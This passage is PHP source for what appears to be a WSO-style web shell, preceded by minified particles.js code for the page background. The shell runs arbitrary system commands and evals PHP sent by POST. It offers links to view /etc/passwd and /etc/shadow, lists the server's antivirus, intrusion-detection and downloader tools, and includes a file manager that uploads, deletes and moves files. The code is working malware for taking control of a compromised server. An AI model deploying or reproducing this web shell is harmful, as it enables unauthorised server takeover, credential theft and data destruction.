if(r<=i.interactivity.modes.bubble.distance){if(void 0!=s)var v=s;else var v=n;if(v!=a){var d=n-p*(n-a)/i.interactivity.modes.bubble.duration;"size"==c&&(e.radius_bubble=d),"opacity"==c&&(e.opacity_bubble=d)}}else"size"==c&&(e.radius_bubble=void 0),"opacity"==c&&(e.opacity_bubble=void 0)}if(i.interactivity.events.onhover.enable&&isInArray("bubble",i.interactivity.events.onhover.mode)){var s=e.x-i.interactivity.mouse.pos_x,n=e.y-i.interactivity.mouse.pos_y,r=Math.sqrt(s*s+n*n),c=1-r/i.interactivity.modes.bubble.distance;if(r<=i.interactivity.modes.bubble.distance){if(c>=0&&"mousemove"==i.interactivity.status){if(i.interactivity.modes.bubble.size!=i.particles.size.value)if(i.interactivity.modes.bubble.size>i.particles.size.value){var o=e.radius+i.interactivity.modes.bubble.size*c;o>=0&&(e.radius_bubble=o)}else{var l=e.radius-i.interactivity.modes.bubble.size,o=e.radius-l*c;o>0?e.radius_bubble=o:e.radius_bubble=0}if(i.interactivity.modes.bubble.opacity!=i.particles.opacity.value)if(i.interactivity.modes.bubble.opacity>i.particles.opacity.value){var v=i.interactivity.modes.bubble.opacity*c;v>e.opacity&&v<=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}else{var v=e.opacity-(i.particles.opacity.value-i.interactivity.modes.bubble.opacity)*c;v<e.opacity&&v>=i.interactivity.modes.bubble.opacity&&(e.opacity_bubble=v)}}}else a();"mouseleave"==i.interactivity.status&&a()}else if(i.interactivity.events.onclick.enable&&isInArray("bubble",i.interactivity.events.onclick.mode)){if(i.tmp.bubble_clicking){var s=e.x-i.interactivity.mouse.click_pos_x,n=e.y-i.interactivity.mouse.click_pos_y,r=Math.sqrt(s*s+n*n),p=((new Date).getTime()-i.interactivity.mouse.click_time)/1e3;p>i.interactivity.modes.bubble.duration&&(i.tmp.bubble_duration_end=!0),p>2*i.interactivity.modes.bubble.duration&&(i.tmp.bubble_clicking=!1,i.tmp.bubble_duration_end=!1)}i.tmp.bubble_clicking&&(t(i.interactivity.modes.bubble.size,i.particles.size.value,e.radius_bubble,e.radius,"size"),t(i.interactivity.modes.bubble.opacity,i.particles.opacity.value,e.opacity_bubble,e.opacity,"opacity"))}},i.fn.modes.repulseParticle=function(e){function a(){var a=Math.atan2(d,p);if(e.vx=u*Math.cos(a),e.vy=u*Math.sin(a),"bounce"==i.particles.move.out_mode){var t={x:e.x+e.vx,y:e.y+e.vy};t.x+e.radius>i.canvas.w?e.vx=-e.vx:t.x-e.radius<0&&(e.vx=-e.vx),t.y+e.radius>i.canvas.h?e.vy=-e.vy:t.y-e.radius<0&&(e.vy=-e.vy)}}if(i.interactivity.events.onhover.enable&&isInArray("repulse",i.interactivity.events.onhover.mode)&&"mousemove"==i.interactivity.status){var t=e.x-i.interactivity.mouse.pos_x,s=e.y-i.interactivity.mouse.pos_y,n=Math.sqrt(t*t+s*s),r={x:t/n,y:s/n},c=i.interactivity.modes.repulse.distance,o=100,l=clamp(1/c*(-1*Math.pow(n/c,2)+1)*c*o,0,50),v={x:e.x+r.x*l,y:e.y+r.y*l};"bounce"==i.particles.move.out_mode?(v.x-e.radius>0&&v.x+e.radius<i.canvas.w&&(e.x=v.x),v.y-e.radius>0&&v.y+e.radius<i.canvas.h&&(e.y=v.y)):(e.x=v.x,e.y=v.y)}else if(i.interactivity.events.onclick.enable&&isInArray("repulse",i.interactivity.events.onclick.mode))if(i.tmp.repulse_finish||(i.tmp.repulse_count++,i.tmp.repulse_count==i.particles.array.length&&(i.tmp.repulse_finish=!0)),i.tmp.repulse_clicking){var c=Math.pow(i.interactivity.modes.repulse.distance/6,3),p=i.interactivity.mouse.click_pos_x-e.x,d=i.interactivity.mouse.click_pos_y-e.y,m=p*p+d*d,u=-c/m*1;c>=m&&a()}else 0==i.tmp.repulse_clicking&&(e.vx=e.vx_i,e.vy=e.vy_i)},i.fn.modes.grabParticle=function(e){if(i.interactivity.events.onhover.enable&&"mousemove"==i.interactivity.status){var a=e.x-i.interactivity.mouse.pos_x,t=e.y-i.interactivity.mouse.pos_y,s=Math.sqrt(a*a+t*t);if(s<=i.interactivity.modes.grab.distance){var n=i.interactivity.modes.grab.line_linked.opacity-s/(1/i.interactivity.modes.grab.line_linked.opacity)/i.interactivity.modes.grab.distance;if(n>0){var r=i.particles.line_linked.color_rgb_line;i.canvas.ctx.strokeStyle="rgba("+r.r+","+r.g+","+r.b+","+n+")",i.canvas.ctx.lineWidth=i.particles.line_linked.width,i.canvas.ctx.beginPath(),i.canvas.ctx.moveTo(e.x,e.y),i.canvas.ctx.lineTo(i.interactivity.mouse.pos_x,i.interactivity.mouse.pos_y),i.canvas.ctx.stroke(),i.canvas.ctx.closePath()}}}},i.fn.vendors.eventsListeners=function(){"window"==i.interactivity.detect_on?i.interactivity.el=window:i.interactivity.el=i.canvas.el,(i.interactivity.events.onhover.enable||i.interactivity.events.onclick.enable)&&(i.interactivity.el.addEventListener("mousemove",function(e){if(i.interactivity.el==window)var a=e.clientX,t=e.clientY;else var a=e.offsetX||e.clientX,t=e.offsetY||e.clientY;i.interactivity.mouse.pos_x=a,i.interactivity.mouse.pos_y=t,i.tmp.retina&&(i.interactivity.mouse.pos_x*=i.canvas.pxratio,i.interactivity.mouse.pos_y*=i.canvas.pxratio),i.interactivity.status="mousemove"}),i.interactivity.el.addEventListener("mouseleave",function(e){i.interactivity.mouse.pos_x=null,i.interactivity.mouse.pos_y=null,i.interactivity.status="mouseleave"})),i.interactivity.events.onclick.enable&&i.interactivity.el.addEventListener("click",function(){if(i.interactivity.mouse.click_pos_x=i.interactivity.mouse.pos_x,i.interactivity.mouse.click_pos_y=i.interactivity.mouse.pos_y,i.interactivity.mouse.click_time=(new Date).getTime(),i.interactivity.events.onclick.enable)switch(i.interactivity.events.onclick.mode){case"push":i.particles.move.enable?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):1==i.interactivity.modes.push.particles_nb?i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb,i.interactivity.mouse):i.interactivity.modes.push.particles_nb>1&&i.fn.modes.pushParticles(i.interactivity.modes.push.particles_nb);break;case"remove":i.fn.modes.removeParticles(i.interactivity.modes.remove.particles_nb);break;case"bubble":i.tmp.bubble_clicking=!0;break;case"repulse":i.tmp.repulse_clicking=!0,i.tmp.repulse_count=0,i.tmp.repulse_finish=!1,setTimeout(function(){i.tmp.repulse_clicking=!1},1e3*i.interactivity.modes.repulse.duration)}})},i.fn.vendors.densityAutoParticles=function(){if(i.particles.number.density.enable){var e=i.canvas.el.width*i.canvas.el.height/1e3;i.tmp.retina&&(e/=2*i.canvas.pxratio);var a=e*i.particles.number.value/i.particles.number.density.value_area,t=i.particles.array.length-a;0>t?i.fn.modes.pushParticles(Math.abs(t)):i.fn.modes.removeParticles(t)}},i.fn.vendors.checkOverlap=function(e,a){for(var t=0;t<i.particles.array.length;t++){var s=i.particles.array[t],n=e.x-s.x,r=e.y-s.y,c=Math.sqrt(n*n+r*r);c<=e.radius+s.radius&&(e.x=a?a.x:Math.random()*i.canvas.w,e.y=a?a.y:Math.random()*i.canvas.h,i.fn.vendors.checkOverlap(e))}},i.fn.vendors.createSvgImg=function(e){var a=i.tmp.source_svg,t=/#([0-9A-F]{3,6})/gi,s=a.replace(t,function(a,t,i,s){if(e.color.rgb)var n="rgba("+e.color.rgb.r+","+e.color.rgb.g+","+e.color.rgb.b+","+e.opacity+")";else var n="hsla("+e.color.hsl.h+","+e.color.hsl.s+"%,"+e.color.hsl.l+"%,"+e.opacity+")";return n}),n=new Blob([s],{type:"image/svg+xml;charset=utf-8"}),r=window.URL||window.webkitURL||window,c=r.createObjectURL(n),o=new Image;o.addEventListener("load",function(){e.img.obj=o,e.img.loaded=!0,r.revokeObjectURL(c),i.tmp.count_svg++}),o.src=c},i.fn.vendors.destroypJS=function(){cancelAnimationFrame(i.fn.drawAnimFrame),t.remove(),pJSDom=null},i.fn.vendors.drawShape=function(e,a,t,i,s,n){var r=s*n,c=s/n,o=180*(c-2)/c,l=Math.PI-Math.PI*o/180;e.save(),e.beginPath(),e.translate(a,t),e.moveTo(0,0);for(var v=0;r>v;v++)e.lineTo(i,0),e.translate(i,0),e.rotate(l);e.fill(),e.restore()},i.fn.vendors.exportImg=function(){window.open(i.canvas.el.toDataURL("image/png"),"_blank")},i.fn.vendors.loadImg=function(e){if(i.tmp.img_error=void 0,""!=i.particles.shape.image.src)if("svg"==e){var a=new XMLHttpRequest;a.open("GET",i.particles.shape.image.src),a.onreadystatechange=function(e){4==a.readyState&&(200==a.status?(i.tmp.source_svg=e.currentTarget.response,i.fn.vendors.checkBeforeDraw()):(console.log("Error pJS - Image not found"),i.tmp.img_error=!0))},a.send()}else{var t=new Image;t.addEventListener("load",function(){i.tmp.img_obj=t,i.fn.vendors.checkBeforeDraw()}),t.src=i.particles.shape.image.src}else console.log("Error pJS - No image.src"),i.tmp.img_error=!0},i.fn.vendors.draw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type?i.tmp.count_svg>=i.particles.number.value?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):void 0!=i.tmp.img_obj?(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame)):i.tmp.img_error||(i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw)):(i.fn.particlesDraw(),i.particles.move.enable?i.fn.drawAnimFrame=requestAnimFrame(i.fn.vendors.draw):cancelRequestAnimFrame(i.fn.drawAnimFrame))},i.fn.vendors.checkBeforeDraw=function(){"image"==i.particles.shape.type?"svg"==i.tmp.img_type&&void 0==i.tmp.source_svg?i.tmp.checkAnimFrame=requestAnimFrame(check):(cancelRequestAnimFrame(i.tmp.checkAnimFrame),i.tmp.img_error||(i.fn.vendors.init(),i.fn.vendors.draw())):(i.fn.vendors.init(),i.fn.vendors.draw())},i.fn.vendors.init=function(){i.fn.retinaInit(),i.fn.canvasInit(),i.fn.canvasSize(),i.fn.canvasPaint(),i.fn.particlesCreate(),i.fn.vendors.densityAutoParticles(),i.particles.line_linked.color_rgb_line=hexToRgb(i.particles.line_linked.color)},i.fn.vendors.start=function(){isInArray("image",i.particles.shape.type)?(i.tmp.img_type=i.particles.shape.image.src.substr(i.particles.shape.image.src.length-3),i.fn.vendors.loadImg(i.tmp.img_type)):i.fn.vendors.checkBeforeDraw()},i.fn.vendors.eventsListeners(),i.fn.vendors.start()};Object.deepExtend=function(e,a){for(var t in a)a[t]&&a[t].constructor&&a[t].constructor===Object?(e[t]=e[t]||{},arguments.callee(e[t],a[t])):e[t]=a[t];return e},window.requestAnimFrame=function(){return window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){window.setTimeout(e,1e3/60)}}(),window.cancelRequestAnimFrame=function(){return window.cancelAnimationFrame||window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||clearTimeout}(),window.pJSDom=[],window.particlesJS=function(e,a){"string"!=typeof e&&(a=e,e="particles-js"),e||(e="particles-js");var t=document.getElementById(e),i="particles-js-canvas-el",s=t.getElementsByClassName(i);if(s.length)for(;s.length>0;)t.removeChild(s[0]);var n=document.createElement("canvas");n.className=i,n.style.width="100%",n.style.height="100%";var r=document.getElementById(e).appendChild(n);null!=r&&pJSDom.push(new pJS(e,a))},window.particlesJS.load=function(e,a,t){var i=new XMLHttpRequest;i.open("GET",a),i.onreadystatechange=function(a){if(4==i.readyState)if(200==i.status){var s=JSON.parse(a.currentTarget.response);window.particlesJS(e,s),t&&t()}else console.log("Error pJS - XMLHttpRequest status: "+i.status),console.log("Error pJS - File config not found")},i.send()};</script>
328 <script>particlesJS('particles-js', {'particles':{'number':{'value':80,'density':{'enable':true,'value_area':800}},'color':{'value':'#ffffff'},'shape':{'type':'triangle','stroke':{'width':0,'color':'#000000'},'polygon':{'nb_sides':5},'image':{'src':'img/github.svg','width':100,'height':100}},'opacity':{'value':0.5,'random':true,'anim':{'enable':false,'speed':1,'opacity_min':0.1,'sync':false}},'size':{'value':3,'random':true,'anim':{'enable':false,'speed':40,'size_min':0.1,'sync':false}},'line_linked':{'enable':true,'distance':200,'color':'#ffffff','opacity':0.4,'width':1},'move':{'enable':true,'speed':1,'direction':'none','random':true,'straight':false,'out_mode':'out','bounce':false,'attract':{'enable':false,'rotateX':10000,'rotateY':10000}}},'interactivity':{'detect_on':'canvas','events':{'onhover':{'enable':true,'mode':'grab'},'onclick':{'enable':true,'mode':'repulse'},'resize':true},'modes':{'grab':{'distance':200,'line_linked':{'opacity':0.5}},'bubble':{'particles_nb':2}}},'retina_detect':true});</script>
329</body></html>
330<?php
331}
332if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
333if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
334function ex($in) {
335 $out = '';
336 if(function_exists('exec')) {
337 @exec($in,$out);
338 $out = @join("\n",$out);
339 }elseif(function_exists('passthru')) {
340 ob_start();
341 @passthru($in);
342 $out = ob_get_clean();
343 }elseif(function_exists('system')) {
344 ob_start();
345 @system($in);
346 $out = ob_get_clean();
347 }elseif(function_exists('shell_exec')) {
348 $out = shell_exec($in);
349 }elseif(is_resource($f = @popen($in,"r"))) {
350 $out = "";
351 while(!@feof($f))
352 $out .= fread($f,1024);
353 pclose($f);
354 }
355 return $out;
356}
357function viewSize($s) {
358 if($s >= 1073741824)
359 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
360 elseif($s >= 1048576)
361 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
362 elseif($s >= 1024)
363 return sprintf('%1.2f', $s / 1024 ) . ' KB';
364 else
365 return $s . ' B';
366}
367
368function perms($p) {
369 if (($p & 0xC000) == 0xC000)$i = 's';
370 elseif (($p & 0xA000) == 0xA000)$i = 'l';
371 elseif (($p & 0x8000) == 0x8000)$i = '-';
372 elseif (($p & 0x6000) == 0x6000)$i = 'b';
373 elseif (($p & 0x4000) == 0x4000)$i = 'd';
374 elseif (($p & 0x2000) == 0x2000)$i = 'c';
375 elseif (($p & 0x1000) == 0x1000)$i = 'p';
376 else $i = 'u';
377 $i .= (($p & 0x0100) ? 'r' : '-');
378 $i .= (($p & 0x0080) ? 'w' : '-');
379 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
380 $i .= (($p & 0x0020) ? 'r' : '-');
381 $i .= (($p & 0x0010) ? 'w' : '-');
382 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
383 $i .= (($p & 0x0004) ? 'r' : '-');
384 $i .= (($p & 0x0002) ? 'w' : '-');
385 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
386 return $i;
387}
388function viewPermsColor($f) {
389 if (!@is_readable($f))
390 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
391 elseif (!@is_writable($f))
392 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
393 else
394 return '<font color=#FFDB5F><b>'.perms(@fileperms($f)).'</b></font>';
395}
396if(!function_exists("scandir")) {
397 function scandir($dir) {
398 $dh = opendir($dir);
399 while (false !== ($filename = readdir($dh))) {
400 $files[] = $filename;
401 }
402 return $files;
403 }
404}
405function which($p) {
406 $path = ex('which '.$p);
407 if(!empty($path))
408 return $path;
409 return false;
410}
411function actionSecInfo() {
412 printHeader();
413 echo '<h1>Server security information</h1><div class=content>';
414 function showSecParam($n, $v) {
415 $v = trim($v);
416 if($v) {
417 echo '<span>'.$n.': </span>';
418 if(strpos($v, "\n") === false)
419 echo $v.'<br>';
420 else
421 echo '<pre class=ml1>'.$v.'</pre>';
422 }
423 }
424
425 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
426 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
427 showSecParam('Open base dir', @ini_get('open_basedir'));
428 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
429 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
430 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
431 $temp=array();
432 if(function_exists('mysql_get_client_info'))
433 $temp[] = "MySql (".mysql_get_client_info().")";
434 if(function_exists('mssql_connect'))
435 $temp[] = "MSSQL";
436 if(function_exists('pg_connect'))
437 $temp[] = "PostgreSQL";
438 if(function_exists('oci_connect'))
439 $temp[] = "Oracle";
440 showSecParam('Supported databases', implode(', ', $temp));
441 echo '<br>';
442
443 if( $GLOBALS['os'] == 'nix' ) {
444 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
445 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
446 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
447 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
448 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
449 showSecParam('OS version', @file_get_contents('/proc/version'));
450 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
451 if(!$GLOBALS['safe_mode']) {
452 echo '<br>';
453 $temp=array();
454 foreach ($userful as $item)
455 if(which($item)){$temp[]=$item;}
456 showSecParam('Userful', implode(', ',$temp));
457 $temp=array();
458 foreach ($danger as $item)
459 if(which($item)){$temp[]=$item;}
460 showSecParam('Danger', implode(', ',$temp));
461 $temp=array();
462 foreach ($downloaders as $item)
463 if(which($item)){$temp[]=$item;}
464 showSecParam('Downloaders', implode(', ',$temp));
465 echo '<br/>';
466 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
467 showSecParam('HDD space', ex('df -h'));
468 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
469 }
470 } else {
471 showSecParam('OS Version',ex('ver'));
472 showSecParam('Account Settings',ex('net accounts'));
473 showSecParam('User Accounts',ex('net user'));
474 }
475 echo '</div>';
476 printFooter();
477}
478
479function actionPhp() {
480 if( isset($_POST['ajax']) ) {
481 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
482 ob_start();
483 eval($_POST['p1']);
484 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
485 echo strlen($temp), "\n", $temp;
486 exit;
487 }
488 printHeader();
489 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
490 echo '<h1>PHP info</h1><div class=content>';
491 ob_start();
492 phpinfo();
493 $tmp = ob_get_clean();
494 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
495 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
496 $tmp = preg_replace('!h1!msiU','h2',$tmp);
497 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
498 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
499 echo $tmp;
500 echo '</div><br>';
501 }
502 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
503 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
504 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
505 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
506 if(!empty($_POST['p1'])) {
507 ob_start();
508 eval($_POST['p1']);
509 echo htmlspecialchars(ob_get_clean());
510 }
511 echo '</pre></div>';
512 printFooter();
513}
514
515function actionFilesMan() {
516 printHeader();
517 echo '<h1>File manager</h1><div class=content>';
518 if(isset($_POST['p1'])) {
519 switch($_POST['p1']) {
520 case 'uploadFile':
521 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
522 echo "Can't upload file!";
523 break;
524 break;
525 case 'mkdir':
526 if(!@mkdir($_POST['p2']))
527 echo "Can't create new dir";
528 break;
529 case 'delete':
530 function deleteDir($path) {
531 $path = (substr($path,-1)=='/') ? $path:$path.'/';
532 $dh = opendir($path);
533 while ( ($item = readdir($dh) ) !== false) {
534 $item = $path.$item;
535 if ( (basename($item) == "..") || (basename($item) == ".") )
536 continue;
537 $type = filetype($item);
538 if ($type == "dir")
539 deleteDir($item);
540 else
541 @unlink($item);
542 }
543 closedir($dh);
544 rmdir($path);
545 }
546 if(is_array(@$_POST['f']))
547 foreach($_POST['f'] as $f) {
548 $f = urldecode($f);
549 if(is_dir($f))
550 deleteDir($f);
551 else
552 @unlink($f);
553 }
554 break;
555 case 'paste':
556 if($_SESSION['act'] == 'copy') {
557 function copy_paste($c,$s,$d){
558 if(is_dir($c.$s)){
559 mkdir($d.$s);
560 $h = opendir($c.$s);
561 while (($f = readdir($h)) !== false)
562 if (($f != ".") and ($f != "..")) {
563 copy_paste($c.$s.'/',$f, $d.$s.'/');
564 }
565 } elseif(is_file($c.$s)) {
566 @copy($c.$s, $d.$s);
567 }
568 }
569 foreach($_SESSION['f'] as $f)
570 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
571 } elseif($_SESSION['act'] == 'move') {
572 function move_paste($c,$s,$d){
573 if(is_dir($c.$s)){
574 mkdir($d.$s);
575 $h = opendir($c.$s);
576 while (($f = readdir($h)) !== false)
577 if (($f != ".") and ($f != "..")) {
578 copy_paste($c.$s.'/',$f, $d.$s.'/');
579 }
580 } elseif(is_file($c.$s)) {
581 @copy($c.$s, $d.$s);
582 }
583 }
584 foreach($_SESSION['f'] as $f)
585 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
586 }
587 unset($_SESSION['f']);
588 break;
589 default:
590 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
591 $_SESSION['act'] = @$_POST['p1'];
592 $_SESSION['f'] = @$_POST['f'];
593 foreach($_SESSION['f'] as $k => $f)
594 $_SESSION['f'][$k] = urldecode($f);
595 $_SESSION['cwd'] = @$_POST['c'];
596 }
597 break;
598 }
599 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
600 }
601 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
602 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
603 global $sort;
604 $sort = array('name', 1);
605 if(!empty($_POST['p1'])) {
606 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
607 $sort = array($match[1], (int)$match[2]);
608 }
609?>
610<script>
611 function sa() {
612 for(i=0;i<document.files.elements.length;i++)
613 if(document.files.elements[i].type == 'checkbox')
614 document.files.elements[i].checked = document.files.elements[0].checked;
615 }
616</script>
617<table width='100%' class='main' cellspacing='0' cellpadding='2'>
618<form name=files method=post>
619<?php
620 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
621 $dirs = $files = $links = array();
622 $n = count($dirContent);
623 for($i=0;$i<$n;$i++) {
624 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
625 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
626 $tmp = array('name' => $dirContent[$i],
627 'path' => $GLOBALS['cwd'].$dirContent[$i],
628 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
629 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
630 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
631 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
632 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
633 );
634 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
635 $files[] = array_merge($tmp, array('type' => 'file'));
636 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
637 $links[] = array_merge($tmp, array('type' => 'link'));
638 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
639 $dirs[] = array_merge($tmp, array('type' => 'dir'));
640 }
641 $GLOBALS['sort'] = $sort;
642 function cmp($a, $b) {
643 if($GLOBALS['sort'][0] != 'size')
644 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
645 else
646 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
647 }
648 usort($files, "cmp");
649 usort($dirs, "cmp");
650 usort($links, "cmp");
651 $files = array_merge($dirs, $links, $files);
652 $l = 0;
653 foreach($files as $f) {
654 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
655 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
656 $l = $l?0:1;
657 }
658 ?>
659 <tr><td colspan=7>
660 <input type=hidden name=a value='FilesMan'>
661 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
662 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
663 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
664 </form></table></div>
665 <?php
666 printFooter();
667}
668
669function actionStringTools() {
670 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
671 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
672 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
673 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
674
675 if(isset($_POST['ajax'])) {
676 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
677 ob_start();
678 if(function_exists($_POST['p1']))
679 echo $_POST['p1']($_POST['p2']);
680 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
681 echo strlen($temp), "\n", $temp;
682 exit;
683 }
684 printHeader();
685 echo '<h1>String conversions</h1><div class=content>';
686 $stringTools = array(
687 'Base64 encode' => 'base64_encode',
688 'Base64 decode' => 'base64_decode',
689 'Url encode' => 'urlencode',
690 'Url decode' => 'urldecode',
691 'Full urlencode' => 'full_urlencode',
692 'md5 hash' => 'md5',
693 'sha1 hash' => 'sha1',
694 'crypt' => 'crypt',
695 'CRC32' => 'crc32',
696 'ASCII to HEX' => 'ascii2hex',
697 'HEX to ASCII' => 'hex2ascii',
698 'HEX to DEC' => 'hexdec',
